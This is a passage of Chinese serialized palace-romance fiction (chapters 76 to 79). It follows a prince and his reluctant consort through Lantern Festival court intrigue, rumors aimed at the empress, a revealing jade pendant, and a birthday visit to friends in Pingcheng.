他尚未着寸缕,结实的手臂伸出,小拇挑开沾在她嘴角的一丝乱发,“皎皎有什么想说的?孤未尝不会答应。” 岑璠只平静地接住他的话,说道:“公主虽非仁善,可到底是聪明些,殿下就算禁足,想必公主也不会吃亏,可珝儿不一样” 她似是有些疲惫,同他打着商量,“殿下也是做兄长的人,倘若公主并非有这般手段,殿下可还会安心放任她不管?” 元衡很少听到她这般同他好商好量,倒真像有几分在意他这个丈夫的感受,丝毫没有往“惧怕”二字上想。 他喜欢她这么说话,便也允许她继续说下去,“王妃打算怎么做?” 岑璠道:“珝儿现在的情况,不只是喜欢便能拗过来他的性子,他被人教坏了,要从头教起才行。” 她停顿了片刻,极力收起她打心底泛上来的不情愿,只有那沙哑的声音泄露了些情绪,“妾身答应为殿下绵延子嗣,也请殿下将珝儿当做家人,给他找些好师傅,也允许妾身费心教导” 元衡点头,“回晋阳后,孤会给他找好的夫子,从头开始教起,皎皎也不必太过忧虑。” “那便多谢殿下。” 元衡心底隐隐有些不满,可他也不想与她吵,只发出一声叹息,“说了多少次,咱们是要过一辈子的夫妻,不必总说多谢。” “妾身记住了。” * 隔日的洛阳晴空万里,冬日苍穹高阔,朝光更加明媚。 昨日的事仿佛没有发生过一般,不仅如此,他比之前心情还好些,今晨守着她起身,亲自掀开了帐幔。 早膳时,一碗汤药摆在她面前,那药并不是苦的,甜中泛着药草的香味。 那种药她曾经喝过,那是助女子有孕的药膳。 他没有让人布菜,就这么盯着她,含着笑意,静静等待她表态。 岑璠未有抗拒,眼眸低垂,将那碗药利索地饮干净。 元衡便还是那副笑容,亲自为她布菜,不紧不慢,“上元节那日,随孤一同进宫。” 岑璠知道他是在通知,她在洛阳也无亲友,也只能与他一同进宫。 “妾身明白。” 早膳后,岑璠才知道,珝儿正在门外跪着。 少年缩成一团,跪地并不算端正,一摇一晃,两只眼睛肿得像是核桃,两道深深的眼纹刻在眼底。 他从前在虞家,应当是没怎么跪过。 见到她,珝儿并没有像之前一般扑过来,仍然跪立在那里。 岑璠多看了他一眼,便撇开目光。 “阿姊,我以后听你的话,不再结交那些人了。” 岑璠现在并不想看见他,也不想再听到他做这些空无实际的保证。 面前两个人都是一个样,所言所做皆不可全信。 她道:“上元节那日我会派人送你回虞家,你同父亲道个别,节后便要回晋阳了。” 说罢,她便转头进房,元衡低头看了看珝儿,道:“再在 这里跪一个时辰。” * 上元节那日,洛阳格外热闹些。 王府里备了炸油锤,用膳过后,沐浴焚香,更衣上妆。 府中给珝儿量体裁衣,这几日赶工出几件像样的衣裳来,这日也换上了新衣。 门外备好了两辆车,一辆去往宫里,一辆送珝儿回虞家。 岑璠上车时同珝儿嘱咐了几句,大抵就是让他莫要轻信虞佑柏说的话。 说罢便同元衡进了宫。 宫道上张灯结彩,远处的紫云阁灯火密布,似星河中的空中楼阁。 皇后的刚痊愈,皇帝大喜,邀遍四品以上官员进宫赏灯。 至于太子妃过世的事,似是被人遗忘在了脑后,再无人问津。 宴席设在显阳店,宫宴之上玉盘珍馐,一盘捏成兔子的面蚕呈到面前,精巧别致,岑璠不由多看了几眼。 席上推杯换盏,不乏有元衡认得的官员,那尔朱氏的公子尔朱玹也来了席上,身后还跟着一女子,身穿芙蓉圆领广袖衫,面容姣好,似还没长开,看上去很是稚嫩。 元衡抬起眼,多看了几眼,问道:“这位姑娘从未见过,看着倒与尔朱公子有几分相似。” 尔朱玹笑了笑,看向身旁的女子,道:“这是伯父家的女儿,此次从平城而来,带她来宫中长长世面。” 元衡颔首,倒也没多问什么。 尔朱玹敬酒后便离开了,元衡的视线空出来,便是落向那皇后的席位。 比起前几日来,皇后的病倒是好的彻底。 元衡顺着皇后似有若无偏头的方向看去,便是看到了太子。 刚才同他敬酒的尔朱氏,已经到了太子面前。 只是敬了酒,倒也没做什么招嫌的事。 元衡不由想起前一世,上元节那日在闹市中发生的一切。 上一世送进宫的是尔朱阳雪,这一世尔朱氏也不一定没有这个打算。 元衡捏了捏手中的杯子,观察着席间的一切动向,偶然间又看见元斓在冲他笑。 各有各的心思。 元衡低下眼,不给元斓任何回应。 席间不知道何时换了乐声,悠扬却又悲凉,不似上元节该有的乐声,让人不禁怅然。 是一首西洲曲,可比起往日听得的更加婉转,多了几分柔骨。 为首的那名乐师容貌俊美,比起席间俊美出众的晋王,也不差些许。 元衡却认得出,那不是什么乐师。 他曾在元斓的宫中看到过此人,那是她府上的一个门客,名叫绥儒。 自见第一眼,元衡便看不惯此人。 长成这样接近他的皇妹,能是什么好东西。 元衡嗤之以鼻,仍在注意着周围人。 其他一切照旧,尔朱氏早已回到席上,那太子似并不在意刚才尔朱氏的示好。 想想也是,那尔朱阳雪出身将门,五官明媚,比起这一世平平无奇的尔朱氏姑娘,倒有许多可取之处。 太子能忘却太子妃,转而看上尔朱阳雪,可不代表能看得上尔朱氏这位姑娘。 元衡回过目光,不再去想此事,却忽然间发现皇后的些许异常。 那皇后并没有在看闷头喝酒的太子,目光一动不动盯在那弹琴的乐师身上,眼睛似比平日里少了些抚媚深邃。 那双眸浅得能看出情绪,似震撼,似还有些极力掩饰的恐惧。 可也只是片刻,皇后便低下了头,掩起袖喝了盏酒。 那些情绪便被掩在了宫装广袖之下。 元衡想到前几日的事,心有思量,转头看向身旁,却见她也在盯着皇后的凤座。 她也很快低下头,遮起了情绪,比起他还要平静许多,即使是他这么明目张胆看着她,也丝毫没有想要看他的意思。 元衡皱起眉,问道:“在想什么?” 岑璠顿了片刻,压低声音,“自然是在想公主说过的话,还有殿下准备什么时候,怎么替我报仇。” 元衡便没再问下去。 一场宴席散后,显阳殿外舞起龙狮,一条火红的长龙盘旋缠绕,似腾云驾雾。 火树银花绽放,映着高阁,照亮了皇宫里的夜空。 众人驻足在殿外,仰头而望,赞叹欢笑不断,只有深宫之中一片寂然。 忽然有宫人急匆匆来报,皇帝和皇后齐齐神色一动。 元衡虽是站的不近,却也不远。 “陛下,不好了,尔朱氏的姑娘落水了!” 元衡下意识先看向周遭,那太子竟是不在席面上…… 他眼睛一扫,最后又盯向皇后。 皇后问道:“怎么回事?” 那太监低头,将事情解释了清楚。 大概就是几个姑娘去和贵嫔去过桥走百病,那尔朱姑娘一个没站稳,跌落下桥。 皇后听闻后,率先走下阶,尔朱玹向皇帝行了一礼,也很快跟了上去。 皇帝也想过去看看,可一扫周围所有人,并未动身。 元衡道:“儿臣替父皇去。” 皇帝多看了他好几眼,心中有疑虑,却还是让他过去了。 元衡去时,那尔朱姑娘已经苏醒,正在岸边俯身咳水。 贵嫔身边的两个婢女正拍着她的后背,那皇后在一旁嘘寒问暖。 太子撇开头,浑身湿透,身旁并无护卫,低头看着地上的女子,神色木然。 元衡问道:“殿下为何来此?” “孤只是想给太子妃放盏花灯,她从前最喜欢来此处。”太子盯向湖面,又斜睨向他,“皇兄以为孤为何来此?” 元衡笑了笑,“太子殿下莫要多想,皇兄只是奉父皇之名来看究竟发生何事。” 说罢,他的眼睛还是瞥向了远处的尔朱氏的姑娘。 太子显然是看到了,他脸色一沉,道:“皇兄便当什么事都没有发生便是。” 元衡道:“太子殿下放心,皇兄遵父皇命令前来,自然是不会允许发生什么。” 太子倒也没什么好脸色,一拂袖便要离开。 皇后还在关心那尔朱氏的姑娘,见到太子要走,却是大惊,“你要去哪里!可知礼数?” 太子一时间有些怔愣,盯向皇后,而后又看向那呛水的姑娘。 脸色苍白,似柳般弱不经风,却泛不起任何怜惜。 他道:“儿臣方才救起这位姑娘,便已是知礼数,母后还要如何?” 说罢,也没管皇后时青时白的脸色,便离开了。 元衡拱手一礼,“陛下让儿臣来看,既是这位姑娘无事,那儿臣也告退。” 皇后似是愣了一瞬,静下来许多。 元衡离去时,烟火也近乎散了,宫墙之内又恢复了些寂静,还弥漫着些硝烟味。 一场纷扰闹剧后,尔朱玄请罪。皇帝并未怪罪,备了些灯谜来猜,几家世家公子小姐得了彩头,倒也算喜庆。 宴席散去,宫灯的华彩也随寂静黯淡了几分。 元衡和岑璠径直去虞家接珝儿。 虞佑柏亲自送珝儿出门,倒是爽快。 黄氏将两盏花灯递到珝儿手上,给珝儿使了个眼色,也没多说什么,回头三望,随虞佑柏进了门。 珝儿提着那两盏花灯走到岑璠面前,“阿姊,这一盏是阿娘给你的花灯。” 岑璠手握了又松,最后忍耐下来,“你拿着便是。” 元衡也跟着扫了眼他手上的花灯。 做工粗劣,平平无奇,样子也不算别致的两盏荷花灯罢了。 他就要收回目光,却是扫见 少年身上被花灯照亮的一枚玉佩。 那枚莲形玉佩中悬挂有衔珠鲤鱼,他并未见少年戴过,却是眼熟。 第77章 第七十七章这块儿玉佩从何处来?…… 元衡曾经见过一块儿玉佩,他没有仔细看过,可和黄珝身上挂的这块儿大抵是差不多的。 他皱眉,扫向他腰间的那枚玉佩,问道:“这块儿玉佩从何处来?” 岑璠听后,眼神微有闪烁,可到底没说什么。 珝儿听到元衡的声音,还是会不由自主地惧怕。 他低头看向自己身上那块儿玉佩,低头小声道:“这枚玉佩是阿爹给的,我小时候带着,阿爹说此次去晋阳路远,便让我把这块儿玉佩带上。听说莲佩在彭城一带常送给孩童,寓意平安无灾,阿姊自己也有一块儿…” 元衡听罢看向她,岑璠淡然道:“现在不在了。” 珝儿有些惊讶,道:“阿姊的玉佩丢了啊…” 岑璠没有回答,抿了抿唇,躲开了两人的目光。 元衡觉得丢玉佩也不是什么怪事,也没怎么放在心上。 他曾经身上也有一块儿玉佩,听说是满月时母后绘的图案,父皇亲自找人打出来的。 后来杨家被抄斩,他被从宫中被宫侍救出,从洛阳逃走时,船只被找到,他和舅舅跳河而逃,那枚玉佩便在那时遗落在了河中。 郑氏故去的大夫人在彭城有族人,不然当年郑六姑娘也不会去彭城走亲,郑中书令也不可能暗中让自己的女儿假扮他,助他出逃。 那枚玉佩或许也只是郑氏姑娘在彭城的亲戚送的,总不可能真的这么凑巧…… 元衡思索片刻,便也收回了目光。 王府远离人烟之处,街上人群熙攘,车轮辘辘,逐渐远离喧嚣。 府内也装点了起玲珑灯火,几盏针刺无骨灯挂在树上,映照枯木,寂静却又温暖。 元衡带两人去了梅园。 梅园的红梅盛放了一批,如今连白梅也长出了星点苞芽。 白雪红梅,凌然傲骨,如冬日里的火焰,能照亮夜空。 她和珝儿并排而行,一半身影被遮挡在梅树后,少年看到满园的梅,不由抬起头。 元衡紧紧盯着两人的背影。 上一个上元节,他在干什么呢? 那时军镇压境,他匆忙逃出晋阳,在赶往洛阳的路上,好似没有上元节…… 他想着,不由驻足。 前面一大一小并排而行,园中愈发寂静,唯有脚踩在松软雪地上的吱呀清脆。 一束枝桠从丛林中伸出,矮些的少年的发髻被勾住,她伸出纤手,耐心地帮他解下缠在枝头的发。 静谧中传来她轻声的嘱咐,如同冬日化开的雪。 如果他们也有自己的孩子,他牵着他们的手,该是怎样美好…… 元衡不由抬起步子,走上前去。 姐弟二人似都有些怔愣,一个低下头,一个不肯抬眼。 元衡低头,当着珝儿的面牵住她的手。 珝儿到底是闪过一瞬局促,愈发沉静了些。 她的指尖泛凉,他用手心捂热,带着她静静往前走。 岑璠未有阻拦,随他一路穿出梅园。 寝殿内的地龙早已经烧了起来,还有火炉摆放在屋内,被冻僵的手很快便恢复了温暖。 槿儿帮她卸过钗,屋内端来一碗药。 岑璠斜了一眼,知道那药并不是端给她的。 他铁了心要让她生个孩子,这几日不仅她要喝药,他自己也在喝,想来时前一阵总喝那避子汤,终究有些影响。 可今日她不爽利,怕是要让他失望了。 岑璠净了面,便让槿儿下去。 槿儿也似知道为何,低头告退。 她自觉回到床榻上,衣衫未退,静静坐着。 榻还未坐热,男人便坐到了她身旁,紧紧抱住她。 手穿过她的臂,抚在她的小腹上。 岑璠启开唇,刚准备说什么,却听他问道:“今晚宴席,可有累着冷着了?” 岑璠低头,看向他的宽掌,倒也和气,“没有。” 元衡闭上眼,轻声在她耳畔道:“没有就好。” “你的日子,本王都记得。” 岑璠愣了一瞬,知道他今晚大抵不会对她做什么,身子便也放松下来不少。 他能感觉到她紧绷的身子变软,内心泛起一阵疲惫感。 他调整一番,才道:“今日席上的事,皎皎怎么看?” 岑璠又将思绪拉回到今日的席上。 他她多想让他帮她报仇,在谈及这件事上,倒也没有必要有所保留。 “那日在成衣铺,公主提起过西洲曲,她说当年那首曲子,编撰的人有妾身的父亲。” 她低下眼眸,道:“妾身觉得,父亲与皇后,关系匪浅。” 她的父亲当年编纂这首曲子,助皇后登上宝座,虽是有功,可皇后这些年也多加提携。 她成了晋王妃,再怎么说也算是虞佑柏的血脉,一个小官,皇后竟是没有猜忌她的父亲会倒戈,连柳氏出事,虞府上下都不曾受牵连。 而她父亲这样左右逢源的人,也还是选择站在皇后那边,丝毫没有想过投靠晋王,给自己留一条后路。 元衡点头,“弹那西洲曲的是公主府上的门客,元斓是想对皇后动手,也是在提醒孤帮她动手,孤会去查当年之事。” 他道:“孤和公主对皇后都恨之入骨,但如果皎皎想杀,孤一定会让你亲自动手。” 岑璠想道一声多谢,可转念间又想到他不满她说谢,便没说出口。 “妾身知道。” 一句简简单单的知道,元衡并不安心。 她的身上似还沾有方才梅林里的香气,清新而又令人陶醉。 他声音有些沙哑,“孤会帮皎皎报仇,但皎皎答应的,也不能反悔。” 岑璠眼睫微颤,“知道。” 他笑了笑,低头看向她平坦的小腹,不由想起这里隆起的样子,再想起她刚才和少年并排而行的样子,心中一片柔软。 上一世他和她没有孩子,终究是遗憾。 若是她身体再好些,又不曾喝过避子汤,若是真有了孩子,他或许会允许她生下来。 他们也许终究会走到同一条道路上,他也许上一世就会慢慢爱上她。 可一切终归是如果。 他现在只剩了一种可以走的路,来拥有那些他不曾抓住过的美好。 她身上的芳香犹在,挥之不去,萦绕在周围。 岑璠能感觉到身旁的躁动,炙热得似那炉中的炭火。 她微微抬眼,似是知道接下来他要说的话。 “皎皎,能不能帮帮我…” …… 芙蓉帐暖,炉内的炭烧得火红,火声噼啪,夜里随着空中最后一束烟花迸开,炭火燃烧声已是小了些许。 岑璠净过手,脸上潮红未散,脸色冷然。 她将手伸进盆中,又是那般使劲搓揉,五指搓得通红。 男人尚坐在榻上,似是餍足,大剌剌地坐在那里,心情不错,只像是随口问了一句,道:“嫌脏?” 槿儿还在一旁,岑璠用帕子擦了手,将那沾湿的手绢甩在盆中。 “殿下觉得呢?” 元衡戏谑道:“王妃这么说,那本王前一阵为王妃做的事算什么?” 岑璠不由想到那一次,他曲起她的腿,抬高她的身,比起这来确实小巫见大巫。 她不想再提起,转身去了净室,避开他换了条月事带。 槿儿看着她通红的手背,道:“姑娘,若是您想报仇,槿儿其实也可以帮您…” 她先前知道姑娘能嫁入晋王府,还能做正妃,得晋王爱护,心中也是喜悦的。 可她发现,姑娘其实心中并不喜欢。 她家姑娘并非喜欢晋王,可那晋王总是逼迫姑娘做不喜欢的事。 她都看到过好多次了,姑娘用手帮那晋王… 晋王说是喜欢自家姑娘,可说到底只是宠爱,喜欢从姑娘身上索取,尊重少了些,傲慢多了些。 她和乳娘这条命是岑家救的,那时乳娘又有了身子,干不动活,被洛阳的主家驱逐,只能去往睢县,刚生下她,却遇上了战乱。 她未曾见过的兄长死在了逃荒的路途,是岑氏的老爷收留了他们,让她阿娘来到岑家宅院当乳娘,照顾尚在月子中的夫人。 她和岑璠一起长大,随她一起上山,说是姐妹也不为过,她怎会看不出她心中无奈苦楚? 槿儿心疼自家姑娘,握紧手上的净帕,下定心道:“姑娘不若再考虑考虑公主说的,槿儿愿意为姑娘做一切事。” 岑璠愣了愣,她看向槿儿的眼睛,却又不禁想起一场梦…… 槿儿从小与她一起长大, 是她的亲人,如今看来,那五公主分明是另有图谋,她怎会允许她去冒险。 她摇了摇头,淡然一笑,道:“槿儿要知道,公主没安好心,你绝不能去冒险行事,明白吗?” “可…” 岑璠断然回绝,“没什么可是,这是命令,绝不允许再想此事。” 回到房中时,元衡已经坐端了身,“怎么这么久?” 岑璠怕他起疑多问,便是道:“刚才又洗了一遍手而已。” 元衡沉默,显然是不想让她这番话又翻动自己的情绪。 他没说什么,去净室洗了洗。 屋里的灯火熄灭,府内的一盏盏花灯却还彻夜亮着,温馨寂然。 想到槿儿刚才说的,岑璠却是辗转反侧。 好在那些灰暗血腥的画面并没有侵袭她后半夜的梦。 花灯燃了一夜,隔日便被府中的下人撤了下去。 岑璠还是不放心,叫来了紫芯,让她这几日看着槿儿。 与此同时,元衡也在书阁之上,听府中门客季然禀报宫中的事。 上元节时,皇帝不想去查看,便是因为心有顾虑,怕皇后与尔朱氏串联一气。 他几乎都能想,皇帝若是过去,皇后定是会大闹一场,大肆宣扬太子救了那姑娘的事,隔日再散播出去,皇帝反而是成了见证。 那到时候太子便是有十张嘴也说不清了。 皇后是个精明人,也大概知道皇帝用意,并没有像上一世一样往外散布,东宫也无事发生。 “殿下下一步想怎么做?”季然问道。 元衡笑了笑,扫了眼博古架上的玩意儿,似并不怎么感兴趣,转而拿起了一旁剑架上的剑。 “将那些谣言散出去吧。” 季然乍一听有些惊讶,“这…” 元衡睨了他一眼,“怎么,是有话要说?” 季然不敢对视那目光,自己低头思忖片刻,也想通了缘由,“属下明白。” * 自上元后,天气渐暖,白日常可见晴空万里,门外蓬松的雪化的紧实了许多。 大河边的雪开化,每年都会有黄河岸边的村落受灾,就算是绕路过桥也不好走。 元衡叫韩泽收拾,趁大河未化雪前回晋阳。 这一次回程带了珝儿,他应当也是没怎么出过门,一路上跟着队伍骑马,起初叫苦连天,被赵巍笑了几句,竟又打算掉眼泪。 元衡眼睛一扫,珝儿便是闭上了嘴。 到了大河边上,冰封千里,波澜壮阔,珝儿才终于不再叫苦,一路上问东问西。 赵巍嘴上也都一一解答,“等到了晋阳,带你去见见营里的兵!” 珝儿点头,不禁开始憧憬起来,他从前只知洛阳繁华,也见过禁军,却还没有见过军营里要打仗的兵。 两人你一句我一句,元衡看了看,却是没有打断,听烦了吵闹,便将马交给韩泽,上了岑璠的车。 那车内还似来时一般,华丽暖和,密不透风。 路途颠簸,在车内便容易犯困懒乏。 岑璠和槿儿都在车内,两个人睡得正熟。 元衡掀帐时带进来些寒气,槿儿先醒了过来。 岑璠却睡得熟,元衡倒也不怀疑她装睡。 昨日在驿馆,确实是晚了些。 他让槿儿去另一辆车上,坐在她身旁,忍不住揽住她,让她的头靠在他的肩上。 他的脸仍有些冰凉,碰上额头的一瞬,岑璠打了个激灵,便也醒了。 她起来些身,他并没有冷着脸将她按回去,似是在笑她睡得太熟,眉微微扬起,“醒了?” 岑璠上下看了看他,颔首,“殿下如此,当然是醒了。” 他心情颇好,“孤嫌吵,便来王妃这里多个清净。” 他故作淡然,“孤看珝儿和赵巍倒是合得来,路上倒也不怎么喊苦了,话却是多不少,孤想赵巍是能当他师父的。” 岑璠知道,他这是在邀功,告诉自己他有办法找个好师傅,能把珝儿教好,能履行自己的承诺。 若她猜的不错,他下一句便是要提醒自己,要履行自己的诺言。 果不其然,他冰凉的手覆住她的手背,“孤的承诺应当是能兑现,皎皎也莫要食言。” 岑璠听多了他说这些话,倒也是麻木了些,只道:“这事也看缘分,殿下和妾身日夜努力,若是有缘,总会有的。” 元衡是她这般回答,显然是满意。 他闭上眼睛,下颌搭在她的额头上,“孤这几日想了想,你的生辰那日,咱们去平城看看那二人吧。” 第78章 第七十八章从前丢过的那块儿玉佩送给…… 回到晋阳那日,杨知聿早已离开,去往军镇。 这一年冬,有世家贵族接济,还有从晋阳送来的粮食,军镇周围军民的生活好了许多。 元衡此次回京,还为军镇求来几道诏令,将均田制度改后推向军镇。 军镇在建立之初,历经多年战乱,乃荒芜之地,即使多年后方稳定,也不曾开垦。 此后每家军户分得一些非军用的土地,可租用但不可转卖,让每家军户可事农桑,退下来的伤民也有租可收,有生计可寻。 元衡知道这条路会触犯军镇贵族和世家的利益,可杨知聿上一世在军镇厮杀,说的话并非无道理。 这些跟随先祖厮杀过,留在军镇却日益不受重视的散落军民,才是军镇真正的隐患。 元衡回来的第一件事,便是将求来的几道诏令发往军镇,由杨知聿将每道诏令颁到实处。 珝儿回到晋阳后,岑璠不放心,同元衡说想将珝儿先暂时留在王府,亲自教导,好让他静下来性子。 元衡倒是答应的爽快,让珝儿留在王府,由她监管着,时而叫赵巍来府上教他些拳脚功夫。 或许是因为真的懂事,也或许是因为前段日子被五公主吓到,珝儿这些日子倒没有再闹着离开,倒是听她的话,在府内乖乖读书。 只不过是读的有些慢罢了。 岑璠常常会在晚膳后将珝儿留在房中,听他背书,时而提点两句,有时元衡也在一旁。 他倒是没有她这般,对愚笨之人有什么耐性,听珝儿背得如此慢,有时实在听不下去,便干脆起身出去,耳不闻,心也静。 也只有夜晚她完全属于他,一双眼能紧紧凝视在他身上,一颗心只隔着胸口,贴的极近。 一切稀松平常,可即使是停了药,她的肚子也没有丝毫动静。 晋阳离平城不算太远,两人出发去平城时已是二月。 此行珝儿留在了王府,交由傅媪和乳娘照看,由赵巍督促练武。 随行去平城的,乃是晋阳城内的正规军。 诏令颁布后,军镇当地有常年霸居土地者不满,前几日起过冲突。 将来的军镇肯定不可避免还有更剧烈的矛盾,不过现在而言,各方势力的矛盾还没有演变到水火不容的地步。 向北而去,路面千里冰封,山间白雪茫茫,不见春色降临。 山路绵延,下山之时,路上下起大雪,与寒冬并无两样。 幸好这场雪下得急,不过两个时辰雪便停了,元衡下令休整一夜,一行人便继续沿着山路下山。 大雪耽搁一日,到达平城附近时,距岑璠的生辰只有一日。 元衡将队伍带去城外大营,岑璠身边带有墨群,几人向平城内而去。 平城靠近军镇,晋王在此处也有宅院,此次前来也没有声扬。 岑璠进城时,是尔朱阳雪相迎。 尔朱阳雪的病已经大好,如今回到平城,比上次她见时没什么变化。 可她总感觉这个人身上少了些什么,似是话少了些,又似是眼神少了些热忱。 平城乃边地重镇,城内比起晋阳安静了许多,更是比不上洛阳那种繁华之地。 城内空旷而人烟稀少,城墙高围,庄严肃穆,城内还能见军队穿梭其中,这里旧族多些,穿得几乎都是窄袖扎腿胡服,比起晋阳的人来说,打扮朴素许多。 送岑璠回到宅院,尔朱阳雪也未逗留,转身就要离开。 岑璠知道她前段日子生病,却又觉得有些反常,便是问道:“尔朱姑娘的病如何了?” 尔朱阳雪只道:“多谢王妃牵挂,已经痊愈了。” 说罢便要离开。 岑璠问道:“姑娘可是有什么心事?” “没什么。” 她该如何开口,向外人说起前世今生这样不切实际的话…… 就算是他,她也不敢问,上一世她杀的人是谁。 她该是又多恨,才会杀了他…… 平城寒冷的风将手吹得僵硬干涩,尔朱阳雪暗暗握实了自己的手。 她能看的出,晋 王此番诏令,与尔朱氏的利益并不算一致,尔朱氏也有自己的动向。 一切势力,不管先前有多少冲突和矛盾,似都在向最根源的姓氏和血统聚集靠拢…… 如果有一日,她与他终归站在对立面,她会坚定地走自己的路,绝不回头。 * 与此同时,洛阳宫中暖和了许多,宫内太液池岸边白梅已经盛开几朵。 皇后亲自带着几个宫女来湖旁采摘。 一双凤眼看着那花瓣,似有欣赏,可却又深似湖水,一只手掐上花瓣,梅便被折下。 贴身宫女低着头,安静地不敢说话。 她知道现在的皇后内心并非如此平静,若是一切安好,皇后现在这个时辰应当坐在宫中,找哪个关系好些的妃嫔说话才是。 皇帝身边的大太监自石路来,皇后睨了一眼,只见那大太监行礼,露出些笑,那笑意不达眼底,皮笑肉不笑,是她在宫中最常见的笑容。 皇后也摆出了一副冷静端庄的笑容,转过头去。 大太监道:“皇后娘娘,陛下说尔朱氏的那位姑娘前些日子回去后大病一场,如今时而反复,实在不是娘娘心中良配,陛下已经为太子殿下选了几个世家的姑娘,可先纳为良娣入宫,太子毕竟为储君,还请娘娘多劝慰殿下,莫要忧思过度,一切以国本为重才是。” 皇后道:“劳烦公公来一趟了,此事妾身正要去和陛下商量,这几日流言四起,妾身和殿下都有打压之意,至于忧思过度一说更是无稽之谈,还要多谢陛下为太子操劳,择选良娣。” 大太监听完这番话,并未有丝毫惊讶,“如此甚好,那老奴回去禀告陛下。” “有劳公公了。” 大太监走后,皇后脸上的笑容便凝固下来。 洛阳春光明媚,宫墙挡不住温暖,透入生机盎然,地上的雪晶莹剔透,已经化了一层,却还是有寒风凛冽,冰冷刺骨。 “这些日查到了吗?” 那贴身宫女道:“回娘娘,还没有,不过那日在场的只有晋王和尔朱氏的公子,奴婢觉得…” “还用你说?”皇后语气冰冷,像是从牙缝里挤出话,“本宫当然知道,那流言八成便是从晋王那里传出来的。” 她摇了摇头,眼中执念愈发浓郁,“不过也不一定是他们,那日在宫宴上的任何人都有可能…” 如今她百口莫辩,即使是她这么说,这阖宫上下的流言,证据和动机也还是指向她。 皇帝不信,这几日太子也来找过她,说是让她制止谣言,实际是在谴责她! 她要的是实实在在的证据: 皇后无声叹了口气,语气仍是冷硬,“本宫要的是证据,不明白吗?” “奴婢明白,可那谣言好像、好像是凭空出来的一样…” “那便继续查。” * 岑璠生辰当日,难得比晋王起得早。 她很久之前便不过生辰,可这次却能有那两人相陪。 自崔家倒后,世间再无崔氏,也没了郑姑娘,平城离晋阳不算远,又有晋王管控,虽常有书信送到她这里来,可她还是不知道如今两人近况如何。 她一醒,身旁的男人便也睁开眼,刚睡醒的争议异常沉闷,同她道了一声生辰吉乐,拥她入怀。 他能带她来此过生辰,岑璠到底是满意,并未抗拒他的拥抱。 洗漱过后,槿儿呈上新衣为她换上,他亲自拿来了生辰礼。 那是一块儿莲形玉佩…… “从前丢过的那块儿玉佩,补给皎皎,以后莫要再丢了。” 岑璠静静看着,他骨节分明的手指勾住她的丝绦,将那块儿玉佩系在她的腰间。 岑璠道了一声,“多谢殿下。” 他手一顿,又将她拥入怀中,轻轻吻住她的额头,“不必说谢,皎皎喜欢吗?” 岑璠无声点头,轻轻两个字,“喜欢。” 他心满意足地闭上眼,轻嗅她发间沾染的香气,而后便吩咐人备车。 平城四方有门,两人倒也不做遮掩,从南侧大门而出。 车轮辘辘,驶向平城附近的村落,那村落像是旧部的村落,连人的长相都和中原之人不甚相似。 从村落穿出,转了方向,穿过一片茂盛的蒹葭,便又是一片平地。 平城还是冬日,草色被白雪覆盖,静谧空旷,空地前有一汪小泉,想必在夏日总会有水声潺潺相伴。 下了车后便能看到不远处的小屋,门前种有两棵丁香,沿着铺出的石子路而行,渐渐便能看清门前站的两人。 岑璠眼睛顿时酸了,她步子迈开许多,连元衡都被甩在了后面。 那许久未见的姑娘就站在那棵丁香树下,身上穿着一件鹅黄色锦绣长衫,还是梳着姑娘的发髻,和过去没什么两样,眼底的笑意很浅,却是深邃不移。 她身后有人陪伴,也带着浅浅的笑意,比起之前的风流潇洒,似是多了些沉静。 越走越近时,那崔迟景似是低声说了什么,扶在阿湄腰上的手轻轻向前推。 郑伊湄走出几步,不自觉地张开双臂。 岑璠抱住她,耳边有一句祝语,如临春风,似将风雪全都化开,“祝皎皎生辰吉乐,岁岁年年,顺遂无虞。” 岑璠轻轻点头,退开一些,仔细看了看她,悬着的心似终于落了下来。 郑伊湄也多看了看她,注意到她身上的玉佩,眨了眨眼。 岑璠也察觉到她的目光,扫向她的腰间,发现她带的那块儿玉佩,正是她送与她的那一块儿。 两块儿玉佩虽然不太一样,可大抵是相似的。 两人的目光都注视一瞬,而后移开,似无事发生一般。 可这些反应,都落在了元衡的眼中。 第79章 第七十九章郑氏腰上别的那块儿玉佩,…… 元衡沉默,不曾有一句问话。 他注视着两人,冷风吹过,仿佛吹干涩了双眼。 渐渐地,连嘴唇都被吹得麻木,嘴竟是张不开。 他的眼睛盯在那张玉莹尘清的面容上,眼底布有血丝,缓缓移向两人腰间相似的玉佩上。 许多事,许多变故,许多因果,似乎都这样悄无声息被串联了起来…… 所有遗憾还有不甘仿佛被这些因果关联诠释完整,可带给他的并不是清醒,而是更多的迷茫。 仿佛一切信念都被摧毁一样。 他喉咙滚动,似在独自吞咽什么,心中泛起一阵阵苦涩,可声音也被这些酸苦都堵住了。 不似从前的一次次短暂的痛楚,仿若风卷残云,河坝决堤,浑身的力气都在一瞬间被抽去。 他呆呆站在那里,仿佛周围都黯淡下来,一切声音都被吞噬,一向锐利的眼睛变得无神灰白。 两人还有说不完的话,郑伊湄打开袖中藏的锦盒,里面是一只白珠玉兰簪。 岑璠微微低下些身,倒也没有什么身份上的顾虑,由郑伊湄亲自为她戴上那支簪子。 周围的欢愉中夹杂着寂静凄冷,可她目光未移,牢牢注视在眼前的另一个女子身上。 那正在独自吞咽的痛楚,连一点都不曾被察觉…… 也只有崔迟景在旁观之余,看了眼晋王,似察觉到他情绪的反常,问了一句,“殿下怎么了?” 元衡回过目光,眼中闪过的一丝狠意收了起来,转而眼底却又泛起一阵酸涩 。 他本能掐紧了手,手背暴起青筋,抑制住那种感觉,道:“无事。” 崔迟景便也没多问,觉着这么继续站着也不妥当,将两人请进院子。 那方小院处处透着生机,小院中有一架秋千,还有专门烹茶的地方,小潭旁的一棵枯木尚不算高,潭中的残荷皱成一团,却不显萧瑟。 两人还未成婚,分房各自住一间屋,郑伊湄带她进了自己的房,吩咐人煮上了茶,端了些平城才有的乳酪糕点。 如今跟在郑伊湄身边的人,除了那些从郑氏带来的护卫,其余都是晋王安排来院子伺候的人。 当初她报了必死的决心来,出门前便是没有告诉蒲菊,她知道郑氏也被很多眼睛盯着,让蒲菊再来平城也不妥。 屋内的婢女上完茶,郑伊湄便让人都下去。 岑璠问道:“这些日子在平城住的怎么样?可还习惯?” 郑伊湄道:“比起洛阳是冷了些,不过图得清净。” 岑璠嫣然轻笑,“打算什么时候大婚?” 郑伊湄道:“临走的时候,父亲曾经派人送信于我,郑氏受崔氏一案牵连被盯得紧,我们想等局势定下来后再大婚,到时候请父亲来平城。” 岑璠觉得这样也好,一门婚事若是能得到亲友的祝福,自然是再好不过。 她道:“前些日去洛阳时我们去见了郑老家主,你放心,他的身子很好,几位郑氏公子也都在洛阳。” 